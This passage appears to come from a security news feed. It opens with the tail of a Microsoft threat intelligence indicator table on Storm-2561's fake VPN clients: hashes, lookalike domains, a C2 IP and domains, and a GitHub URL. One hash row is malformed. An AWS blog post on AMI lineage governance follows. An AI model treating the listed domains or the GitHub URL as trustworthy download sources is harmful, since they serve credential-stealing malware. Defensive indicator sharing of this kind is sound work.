57a50a1c04254df3db638e75a64d5dd3b0d6a460829192277e252dc0c157a62fSHA-256ZIP file retrieved from GitHub (VPN-Client.zip)
862f004679d3b142d9d2c729e78df716aeeda0c7a87a11324742a5a8eda9b557SHA-256Suspicious MSI file downloaded from the masqueraded Ivanti pulse VPN client domain (VPN-Client.msi)
6c9ab17a4aff2cdf408815ec120718f19f1a31c13fc5889167065d448a40dfe6SHA-256Suspicious DLL file loaded by the above executables; also signed by Taiyuan Lihua Near Information Technology Co., Ltd. (dwmapi.dll)
6129d717e4e3a6fb4681463e421a5603b640bc6173fb7ba45a41a881c79415caSHA-256Malicious DLL that steals data from C:\ProgramData\Pulse Secure\ConnectionStore\connstore.dat and exfiltrating it (inspector.dll)
44906752f500b61d436411a121cab8d88edf614e1140a2d01474bd587a8d7ba832397697c209953ef0252b95b904893cb07fa975SHA-256Malware signed by Taiyuan Lihua Near Information Technology Co., Ltd. (Pulse.exe)
85c4837e3337165d24c6690ca63a3274dfaaa03b2ddaca7f1d18b3b169c6aac1SHA-256Malware signed by Taiyuan Lihua Near Information Technology Co., Ltd. (Sophos-Connect-Client.exe)
98f21b8fa426fc79aa82e28669faac9a9c7fce9b49d75bbec7b60167e21963c9SHA-256Malware signed by Taiyuan Lihua Near Information Technology Co., Ltd. (GlobalProtect-VPN.exe)
cfa4781ebfa5a8d68b233efb723dbde434ca70b2f76ff28127ecf13753bfe011SHA-256Malware signed by Taiyuan Lihua Near Information Technology Co., Ltd. (VPN-Client.exe)
26db3fd959f12a61d19d102c1a0fb5ee7ae3661fa2b301135cdb686298989179SHA-256Malware signed by Taiyuan Lihua Near Information Technology Co., Ltd. (vpn.exe)
44906752f500b61d436411a121cab8d88edf614e1140a2d01474bd587a8d7ba8SHA-256Malware signed by Taiyuan Lihua Near Information Technology Co., Ltd. (Pulse.exe)
eb8b81277c80eeb3c094d0a168533b07366e759a8671af8bfbe12d8bc87650c9SHA-256Malware signed by Taiyuan Lihua Near Information Technology Co., Ltd. (WiredAccessMethod.dll)
8ebe082a4b52ad737f7ed33ccc61024c9f020fd085c7985e9c90dc2008a15adcSHA-256Malware signed by Taiyuan Lihua Near Information Technology Co., Ltd.(PulseSecureService.exe)
194.76.226[.]93IP addressIP address where stolen data is sent
checkpoint-vpn[.]comDomainSuspect initial access domain
cisco-secure-client[.]esDomainSuspect initial access domain
forticlient-for-mac[.]comDomainSuspect initial access domain
forticlient-vpn[.]deDomainSuspect initial access domain
forticlient-vpn[.]frDomainSuspect initial access domain
forticlient-vpn[.]itDomainSuspect initial access domain
forticlient[.]caDomainSuspect initial access domain
forticlient.co[.]ukDomainSuspect initial access domain
forticlient[.]noDomainSuspect initial access domain
fortinet-vpn[.]comDomainSuspect initial access domain
ivanti-vpn[.]orgDomainInitial access domain (GitHub ZIP)
ivanti-secure-access[.]deDomainSuspect initial access domain
ivanti-pulsesecure[.]comDomainSuspect initial access domain
sonicwall-netextender[.]nlDomainSuspect initial access domain
sophos-connect[.]orgDomainSuspect initial access domain
vpn-fortinet[.]comDomainInitial access domain (GitHub ZIP)
watchguard-vpn[.]comDomainSuspect initial access domain
vpn-connection[.]proDomainC2 where stolen credentials are sent
myconnection[.]proDomainC2 where stolen credentials are sent
hxxps://github[.]com/latestver/vpn/releases/download/vpn-client2/VPN-CLIENT.zipURLGitHub URL hosting VPN-CLIENT.zip file (no longer available)

References

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Storm-2561 uses SEO poisoning to distribute fake VPN clients for credential theft appeared first on Microsoft Security Blog.

  •  

How to manage the lifecycle of Amazon Machine Images using AMI Lineage for AWS

As organizations scale their cloud infrastructure, maintaining proper lifecycle management of Amazon Machine Images (AMIs) is a critical component of their security and risk management goals. AMIs provide the essential information required to launch Amazon Elastic Compute Cloud (Amazon EC2) instances, however; they present security and compliance challenges if not tracked and managed throughout their lifecycle. This blog post explores how organizations can meet their evolving security and compliance requirements by managing potential vulnerabilities across the AMIs deployed throughout their AWS environment.

At the end of 2024, AWS announced lineage supportfor Amazon EC2, providing source details for your AMIs. With this lineage information, you can trace copied or derived AMIs back to their original source. The source AMI information is available for AMIs that were created using specific API commands like CreateImage, CopyImage, and CreateRestoreImageTask. If the AMI was created using a different API command, the ID and AWS Region of the source AMI don’t appear, which can create visibility gaps that potentially impact security and compliance efforts.

To address these gaps and provide comprehensive AMI governance, organizations need to build additional capabilities to analyze the scope of impact of Common Vulnerabilities and Exposures (CVEs), ensure deployed resources originate from an approved golden image, and respond to audit inquiries that require a clear chain of custody for AMIs. A well-designed solution should also help track and enforce approved AMI creation patterns across all accounts and AWS Regions. The AMI lineage solution described in this post is designed to help you manage your organization’s AMI hierarchy and lifecycle, including tracking AMI origins and usage throughout its AWS environment. By implementing this solution, your security teams can quickly understand the scope of impact when security vulnerabilities are discovered, help ensure compliance with organizational policies, and maintain better visibility into their AMI estate.

The solution in this blog post uses Amazon Neptune, a high-performance graph database, along with native AWS security services to maintain a comprehensive view of AMI relationships and enable proactive security monitoring. With the solution in place, you can enforce controls on AMI sourcing, including validation of marketplace AMIs through service control policies (SCPs), and maintain compliance with organizational and regulatory requirements throughout the AMI lifecycle.

Solution overview

AMI Lineage provides a comprehensive governance solution that uses AWS security services and Neptune to create and maintain a hierarchical graph representation of their AMI relationships. This solution helps security and compliance teams understand the complete history of their AMIs including where they originated from, enforce organizational policies such as requiring all AMIs to be encrypted, and rapidly assess security impacts across their organization.
The solution integrates core AWS services with security and governance capabilities. The core components of the solution in the security tooling account are:

  • Neptune: A purpose-built, high-performance graph database securely stores and manages the AMI relationship data.
  • AWS Lambdafunctions serve as the processing engine for the solution. They process AMI lifecycle events (such as CreateImage, CopyImage, DeregisterImage), evaluate them against compliance rules, and update the Neptune graph database. The functions are configured with least-privilege AWS Identity and Access Management (IAM) permissions to enhance security.
  • Amazon API Gateway provides secure REST endpoints for lineage queries and security assessments. Authentication is handled using a combination of API keys and IAM roles to help ensure that only authorized users and systems can access the data.

From a governance perspective, this solution provides comprehensive AMI origin validation to help ensure AMIs come from approved sources, including the validation of AWS Marketplace AMIs against a list of trusted vendors. Lifecycle management capabilities enforce AMI retention policies and deprecation processes. Compliance monitoring tracks adherence to organizational and regulatory requirements, while security event scope assessment capabilities quickly identify affected resources when security vulnerabilities are discovered. A detailed audit trail maintains a complete history of AMI creation, modification, and usage patterns.

Architecture

The AMI Lineage solution follows AWS security best practices with a multi-account deployment architecture designed to maximize security while maintaining operational efficiency. The architecture distributes responsibilities across three primary account types: an organization management account, a centralized security tooling account, and multiple member accounts.

This architectural approach helps ensure that sensitive operations and data remain centralized in the security tooling account while enabling distributed monitoring and policy enforcement across the organization. The clear separation of concerns enhances security while maintaining the scalability needed for large-scale AWS deployments.

Figure 1: AMI Lineage solution architecture and workflow

Figure 1: AMI Lineage solution architecture and workflow

The workflow and architecture shown in figure one includes the following:

  1. Policy enforcement: The organization management account is the central point for control. It uses AWS Organizations to enforce SCPs that prevent non-compliant AMI actions across the member accounts.
  2. Event capture: When an AMI lifecycle event (like CreateImage or CopyImage) occurs in a member account, a local Amazon EventBridge rule captures it.
  3. Centralized processing: The event is securely forwarded from the member account’s EventBridge to the central EventBridge in the security tooling account.
  4. Data ingestion and analysis: A Lambda function is triggered in the security tooling account. This function processes the event, analyzes it for compliance, and updates the Neptune graph database with the new AMI relationship data. AWS Security Hub and Amazon GuardDuty in the security tooling account also receive and analyze findings from member accounts.
  5. Query and visualization: Security teams query the lineage data through a secure API Gateway endpoint. By doing this, they can to visualize AMI hierarchies, investigate security findings from Security Hub, and assess the scope of impact for a given AMI.

The organization management account serves as the central control point for policy enforcement and organizational oversight. This account hosts SCPs that prevent non-approved AMI usage across the organization and manages organization-wide EventBridge rules that capture AMI events from member accounts. Cross-account trust policies configured in this account enable secure communication between the management account and the security tooling account.

Additionally, the management account establishes Security Hub in delegated administrator mode, designating the security tooling account as the centralized security administrator for the organization. From the security tooling account, Security Hub can be then configured to aggregate all Regions down to one core Region for easier evaluation by security personnel.

The security tooling account acts as the central hub for AMI lineage processing and storage. This account hosts the Neptune graph database cluster with encrypted storage, helping to ensure that AMI relationship data is securely maintained. Lambda functions running in this account process events, handle API requests, and evaluate compliance with least-privilege permissions. API Gateway provides secure REST endpoints for lineage queries and security assessments. Security Hub custom insights and findings are centralized here in the security tooling account as the Security Hub delegated administrator account, along with Amazon Simple Notification Service (Amazon SNS) topics for notifications and alerts. The Amazon Virtual Private Cloud (Amazon VPC) infrastructure supporting these services is also deployed in the security tooling account, providing network-level isolation and security.

The solution enables distributed monitoring and enforcement by deploying lightweight components into each member account across the organization. Each member account includes AWS Config rules for continuous compliance monitoring, cross-account IAM roles to enable secure access from the security tooling account, and local EventBridge rules that forward AMI-related events to the central processing system.

Security and compliance integration extends throughout the solution. IAM manages least-privilege access control and permissions across components. AWS CloudTrail records API activity for audit trails and compliance reporting, while Security Hub centralizes security findings and compliance status across your AMI estate. GuardDuty provides threat detection for AMI-related activities. SCPs enforce organization-wide controls on AMI creation and usage patterns, and AWS Config tracks AMI configuration changes and evaluates compliance rules.

How it works

The AMI Lineage solution operates through a continuous monitoring and automated response system that maintains comprehensive visibility into your AMI landscape. When AMI lifecycle events occur in your organization, EventBridge rules capture these activities, including creation, copying, modification, and deregistration events. Lambda functions in the security tooling account are then called upon to process these events with appropriate security controls and update the Neptune graph database in real-time, while CloudTrail logs provide a comprehensive audit trail of AMI-related activities.

The system tracks critical security and compliance metadata that forms the foundation of effective AMI governance. This includes:

  • Source AMI information and validation status to help ensure lineage integrity
  • Creation method and timestamp data for comprehensive audit trails
  • Cross-Region and cross-account relationships to understand the full scope of AMI distribution
  • Instance launch history with security context to track usage patterns
  • AMI state changes including deprecation and deregistration for lifecycle management
  • Compliance status along with policy violations to maintain organizational standards.

Security teams use this comprehensive data through secure API calls to visualize complete AMI hierarchies and relationships, providing clear insight into how AMIs are related across your infrastructure. The compliance of your AMI estate is continuously tracked through a combination of services:

  • Detection: AWS Config rules deployed in member accounts check for policy violations (for example, incorrect tags and public permissions).
  • Aggregation: These findings, along with vulnerability data from services like Amazon Inspector, are aggregated in AWS Security Hub.
  • Correlation: Lambda functions in the security tooling account correlate this information with the lineage data in Neptune. Because of this correlation, you can see not just that an AMI is non-compliant, but also its entire downstream impact. When security events like CVE findings are discovered, teams can quickly assess the scope of impact across their entire AMI estate. The solution monitors AMI usage patterns for security anomalies and enforces governance controls through automated policy checks.

The solution provides robust automated policy enforcement capabilities that operate continuously to maintain security and compliance. The system helps ensure that only approved AMIs with verified lineage history can be used to launch new instances, automatically blocking attempts to use non-compliant images. SCP controls on AMI creation and usage are enforced organization-wide, preventing unauthorized AMI operations before they can impact your environment. When policy violations are detected, the system can trigger automated responses to security events and maintain compliance with organizational standards through real-time enforcement.

Implementation

Before deploying the AMI Lineage solution, you need to establish the proper security and governance foundation across your organization. Your AWS Organizations management account requires administrative permissions, and your organization must be enabled with all features to support the policies used in this solution. You will also need a dedicated security tooling account to host the solution’s core components, with cross-account IAM roles configured to allow secure access. Finally, essential security services must be configured at the organization level, including Security Hub, CloudTrail organization trails for audit logging, and encryption keys using AWS Key Management Service (AWS KMS) for data protection.

From a technical perspective, ensure you have Python 3.8 or later installed if deploying from a local environment, along with AWS Command Line Interface (AWS CLI) version 2 installed and configured with appropriate security credentials. You’ll also need an Amazon Simple Storage Service (Amazon S3) bucket for deployment artifacts, encrypted using SSE-KMS with a customer-managed key to align with best practices for protecting deployment assets.

The complete AMI Lineage solution is available as open source code in the AWS Samples repository. You can clone the repository and follow the deployment instructions. The repository includes the necessary AWS CloudFormation templates, Lambda functions, and deployment scripts referenced in the following phases.

Deployment

The deployment process follows a five-phase approach that builds security and compliance capabilities progressively:

  1. Security foundations
  2. Security controls
  3. EventBridge rules
  4. Core infrastructure
  5. Compliance and monitoring

Phase 1 – Establishing security foundations

The first phase establishes the security foundation by configuring AWS Organizations security services. This involves enablingSecurity Hub in the management account and designating the security tooling account as the delegated administrator, enablingnullGuardDuty with the security tooling account configured as thenulldelegated administrator, and enabling an organizational wide CloudTrail trail for audit logging.

# In Organization Management Account: 
# Enable Security Hub and set security tooling account as delegated admin 
aws securityhub enable-organization-admin-account \   
--admin-account-id <security-tooling-account-id> 

# Enable GuardDuty organization with security tooling account as admin   
aws guardduty enable-organization-admin-account \   
--admin-account-id <security-tooling-account-id> 

# Create organization trail with encryption aws cloudtrail create-trail \   
--name ami-lineage-trail \   
--s3-bucket-name <your-secure-bucket> \   
--is-organization-trail \   
--kms-key-id <your-kms-key-id> \   
--enable-log-file-validation

Phase 2 – Security controls

The second phase deploys base security controls through organization-wide SCPs. These policies enforce AMI governance controls by preventing the use of non-approved AMIs and helping to ensure that proper tagging and approval workflows are followed.

# In Organization Management Account: 
# Deploy organization-wide SCPs 
aws organizations create-policy \   
--content file://ami-governance-scp.json \   
--name "AMI-Governance-Controls" \   
--type SERVICE_CONTROL_POLICY 

# Attach to organizational units 
aws organizations attach-policy \   
--policy-id <policy-id> \   
--target-id <ou-id>

Phase 3 – EventBridge rules

The third phase deploys organization-wide EventBridge rules from the management account to capture AMI events across member accounts and forward them to the security tooling account for processing. These rules listen for specific API calls captured by CloudTrail.

An example of the event pattern used to capture CreateImage and CopyImage events looks like this:

{
	"source": ["aws.ec2"],
	"detail-type": ["AWS API Call via CloudTrail"],
	"detail": {
		"eventSource": ["ec2.amazonaws.com"],
		"eventName": [
			"CreateImage",
			"CopyImage",
			"RegisterImage",
			"DeregisterImage"
		]
	}
}

# In Organization Management Account: 
# Deploy organization EventBridge rules 
cd deployment-scripts/organization 
./deploy-organization-resources.sh

Phase 4 – Core infrastructure

The fourth phase focuses on core infrastructure deployment in the security tooling account. This is where the primary processing and storage components are deployed, following security best practices by centralizing sensitive operations in a dedicated account.

# Switch to Security Tooling Account context 
# Deploy Neptune cluster with encryption in security tooling account 
cd deployment-scripts/shared 
./deploy-shared-resources.sh

This deployment script handles multiple components in the security tooling account. The Neptune cluster deployment includes encryption and VPC configuration to help ensure secure storage and access to AMI lineage data. Lambda functions are deployed with security controls and configured with VPC attachment, which allows for secure Neptune access in the VPC, appropriate IAM roles with least-privilege permissions, and environment variables for secure configuration. API Gateway provides secure REST endpoints for external access to AMI lineage data and security assessments.

Phase 5 – Compliance and monitoring

The fifth phase establishes comprehensive compliance and monitoring capabilities across member accounts. AWS Config rules are deployed to continuously monitor AMI compliance across your organization, while EventBridge rules forward AMI events to the central processing system.

# In each Member Account: 
# Deploy AWS Config Rules and monitoring capabilities 
cd deployment-scripts/child-account   
./deploy-child-account-resources.sh

After deployment, thorough verification helps ensure that security configurations are properly implemented. This includes validating IAM permissions to help ensure least-privilege access, testing security controls to verify SCP enforcement, validating encryption settings acrosscomponents, and confirming that the security tooling account is properly configured as the Security Hub delegated administrator.

Using AMI Lineage

When deployed, AMI Lineage provides security operations and compliance monitoring capabilities through its API hosted in the security tooling account and automated monitoring systems. Security teams can query and receive complete AMI security relationships to understand the full context of AMIs in their environment.

When investigating AMIs, the system provides detailed security context including source validation information that confirms:

  • Whether AMIs come from marketplace sources or trusted accounts
  • Compliance status that shows patch levels and policy adherence
  • Vulnerability status with CVE findings and scan results
  • Comprehensive lineage data showing the complete chain of AMI relationships and approval history
# Get complete security context for an AMI (API Gateway in Security Tooling Account) 
curl -X GET "https://<api-gateway-id>.execute-api.<region>.amazonaws.com/v1/api/v1/ami/ami-1234567890abcdef0/security-context?include_compliance=true" \  
	-H "x-api-key: <your-api-key>"

For security impact assessments, such as when a new CVE is discovered, the solution provides a powerful scope of impact analysis. By querying the API with a specific finding, security teams can rapidly determine every affected resource across their entire organization that stems from a compromised or vulnerable AMI. Using that information, they can understand the full scope of their exposure and begin remediation. See Security best practices in Amazon API Gateway for helpful considerations while using API Keys.

# Assess for a security finding (Security Tooling Account API) 
curl -X POST "https://<api-gateway-id>.execute-api.<region>.amazonaws.com/v1/api/v1/security-impact" \   
	-H "Content-Type: application/json" \   
	-H "x-api-key: <your-api-key>" \   
	-d '{     "ami_id": 
		"ami-1234567890abcdef0",     
		"finding_type": "CVE",     
		"finding_id": "CVE-2024-XXXX",     
		"severity": "CRITICAL"   
	}'

This analysis returns impact information including:

  • Affected AMIs in the lineage chain
  • Running instances requiring immediate remediation
  • Affected AWS accounts and regions for coordinated response
  • Associated auto-scaling groups and launch templates that need updates
  • Compliance impact assessment for regulatory reporting
  • Detailed remediation steps prioritized by risk level.

Compliance monitoring operates continuously through automated assessment capabilities that evaluate your AMI estate against organizational policies and regulatory requirements. Teams can generate comprehensive compliance reports that show adherence to security standards across their entire infrastructure.

# Generate comprehensive compliance report (Security Tooling Account API) 
curl -X POST "https://<api-gateway-id>.execute-api.<region>.amazonaws.com/v1/api/v1/compliance-assessment" \   
	-H "Content-Type: application/json" \   
	-H "x-api-key: <your-api-key>" \   
	-d '{     
		"rules": [       
    		"required_tags",       
    		"approved_source_validation",       
    		"security_scan_status",       
    		"naming_convention",       
    		"lineage_verification"     
		],     
		"scope": "ORGANIZATION"   
	}'

The solution provides security automation and remediation through configurable automated responses to security events. Security Hub, operating in delegated administrator mode from the security tooling account, can be configured to automatically respond to findings by stopping instances using AMIs with critical vulnerabilities, quarantining instances launched from unapproved sources, and sending immediate notifications for high-severity findings.

Security visualization and reporting capabilities, centralized in the security tooling account, provide real-time dashboards showing:

  • Compliance status across the organization
  • Scoping visualization for rapid decision-making
  • AMI approval workflow status for process monitoring
  • Patch compliance metrics for maintaining security posture
  • Automated remediation activity logs for audit purposes
  • Custom security reports tailored to specific organizational needs.

For security investigations and audit purposes, the solution maintains a queryable audit trail that provides a complete history of AMIs, including creation and modification events, security scanning results and findings, approval workflow history, and compliance status changes over time.

# Query comprehensive audit history (Security Tooling Account API) 
curl -X GET "https://<api-gateway-id>.execute-api.<region>.amazonaws.com/v1/api/v1/ami/ami-1234567890abcdef0/lineage?direction=both&depth=10" \   
	-H "x-api-key: <your-api-key>"

Clean up

To decommission the AMI Lineage solution, use the following steps to prevent dependency errors. The process is the reverse of the deployment.

  1. (Optional) Back up your data. Before you begin, export critical data for your audit and compliance records. This includes generating final compliance reports from the API or creating a final snapshot of the Neptune database (you will be prompted to do this when you delete the cluster).
  2. Run cleanup in member accounts. Sign in to each participating member account and run the cleanup script from the deployment files. This removes the local EventBridge rules, AWS Config rules, and cross-account IAM roles.
    # In each Member Account 
    cd deployment-scripts/child-account
    ./cleanup-child-account-resources.sh 
    # Removes Config rules and cross-account roles from each member account

  3. Run cleanup in the security tooling account. Sign in to your security tooling account and run the cleanup script. This decommissions the core solution, including the API gateway, Lambda functions, Neptune cluster, and the associated VPC.
    # Clean up security tooling account   
    cd deployment-scripts/shared
    
    ./cleanup-shared-resources.sh 
    # Removes Neptune, Lambda, API Gateway, SNS, and Security Hub components

  4. Run cleanup in the organization management account. Sign in to your organization management account to remove the organization-level resources.
    1. Run the cleanup script to remove the organization-wide EventBridge rules.
      # Clean up organization management account
      
      cd deployment-scripts/organization
      
      ./cleanup-organization-resources.sh   
      # Removes SCPs, EventBridge rules, and cross-account trust policies

    2. In the AWS Organizations console, detach and delete the AMI-Governance-Controls SCP.
    3. In the Security Hub and GuardDuty consoles, remove the security tooling account as the delegated administrator.
  5. Delete final data and encryption keys. After the solution’s infrastructure is removed, you can delete the remaining assets.
    1. In the security tooling account,empty and delete the S3 bucket that held the deployment artifacts.
    2. In the organization management account,schedule the deletion of the KMS keys you created for encrypting the solution’s data.

Conclusion

In this blog post, we showed you how you can use the AMI Lineage solution to build a comprehensive approach to tracking the complete history of your AMIs from creation to decommissioning. By storing this data in an Amazon Neptune graph database, you can build a hierarchical view of the relationships between your EC2 instances and the AMIs they were launched from. You learned how that data can be used to improve security response and remediation and assist in auditing and compliance activities.

The solution uses AWS Organizations to provide preventative controls to help ensure that only approved AMIs are used and integrates AWS security services like Amazon GuardDuty, AWS Security Hub, and AWS Config to add additional layers of security monitoring and management. Finally, you saw how the solution can be used during a security event or when new CVEs are published, so that you can rapidly discover which systems are affected and automate responses based on those findings.

While this solution provides powerful capabilities, it’s important to consider the operational and cost aspects. The core components, particularly Neptune, have associated costs that will scale with the size of your AMI estate. We recommend implementing cost monitoring and alerts as part of your deployment. Furthermore, because the solution is event-driven, you should plan a one-time backfill process to ingest your organization’s existing AMI history into the graph database. For organizations that require this level of granular control and visibility, these operational considerations are offset by the significant gains in security posture and compliance automation.

AMI Lineage transforms AMI governance from a manual, error-prone process into an automated, comprehensive security capability that scales with your organization’s growth. By implementing this solution, your organization can gain the visibility, control, and automated response capabilities needed to maintain a strong security posture while enabling rapid, secure deployment of infrastructure across its AWS environment.


If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Luis Pastor

Luis Pastor

Luis is a Senior Security Solutions Architect at AWS leading the Infrastructure Security and Compliance Technical Field Communities. He drives security architecture for enterprise customers across financial services, healthcare, and retail, specializing in cloud security transformation and regulatory compliance frameworks. Before AWS, Luis architected security solutions in hybrid cloud environments.

George'son Tib.

George’son Tib.

George’son is a Solutions Architect focused on Infrastructure Security at AWS, working with Enterprise customers in the Auto and Manufacturing Industry. He specializes in helping organizations build robust, automated control frameworks that enhance their security posture and drive operational efficiency.

Geoff Sweet

Geoff Sweet

Geoff has been in industry since the late 1990s. He began his career in electrical engineering. Starting in IT during the dot-com boom, he has held a variety of diverse roles, such as systems architect, network architect, and, for the past several years, security architect. Geoff specializes in infrastructure security.

Bharat Lakhiyani

Bharat Lakhiyani

Bharat is a senior solutions architect at AWS. With more than 12 years of experience spanning FinOps, cybersecurity, AI/ML, and enterprise architecture, he specializes in guiding travel and hospitality customers through their digital transformation journeys. Outside of work, Bharat enjoys baking, exploring new restaurants, driving scenic routes, and hiking the trails of North Carolina.

  •  
❌